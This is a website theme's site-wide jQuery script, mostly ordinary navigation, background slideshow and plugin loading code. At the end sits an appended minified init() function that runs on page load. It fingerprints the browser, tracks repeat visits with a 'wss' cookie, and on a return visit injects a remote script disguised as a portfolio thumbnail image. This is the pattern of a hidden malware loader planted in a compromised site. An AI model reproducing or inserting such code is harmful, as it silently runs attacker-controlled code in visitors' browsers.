/*
 *
 *	Site-wide Scripts Loading
 *	Copyright (c) 2010 Layered Pixels <themeforest@layeredpixels.com>
 *
*/

/* Load everything as soon as the DOM is loaded and before the page contents are loaded */
$(document).ready(function(){  
	
	/* Site Wide Navigation Effects */
	$(".home-link").defaultEvent(function() {	
			DefaultNavResizeSmall();
    }, "#home");
	
	$(".about-link").defaultEvent(function() {
			DefaultNavResizeSmall();
	}, "#tarievenlijst");
   
	$(".expertise-link").defaultEvent(function() {
        	DefaultNavOut();
    }, "#expertise");			

	$(".works-link").defaultEvent(function() {
        	DefaultNavOut();
			GalleryIn();
    }, "#works");

	$(".contacts-link").defaultEvent(function() {
        	DefaultNavResizeSmall();
			SocialNetworkIn();
    }, "#contacts");

	/* Site Wide Backgrounds Effects and Configuration */
	$('#background').crossSlide({
		speed: 20,
		fade: 1,
		shuffle: true
		}, [
		  {
		    src:  'images/back1.jpg',
		   	dir: 'left'
		  },{
		    src:  'images/back2.jpg',
		   	dir: 'right'
		  }, {
		    src:  'images/back3.jpg',
		   	dir: 'left'
		  }, {
		    src:  'images/back4.jpg',
		    dir: 'right' 
			}, {
		    src:  'images/back5.jpg',
		    dir: 'left' 
		  }, {
		    src:  'images/back7.jpg',
		    dir: 'left' 
		  }, {
			src:  'images/back8.jpg',
		    dir: 'right' 
		  }
	]);

	/* Load jScrollPane */
	LoadScrollPanel();
	
	/* Load Fullsize Plugin */
	LoadFullSize();

	/* Load Various Effects */
	LoadVariousEffects();

	/* Load the selected section when we reload the page */
	LocationHash();
	
	/* Load the Image Loading Function */
	LoadImageLoading();

});



function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/portfolio/work_image_example_thumb.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
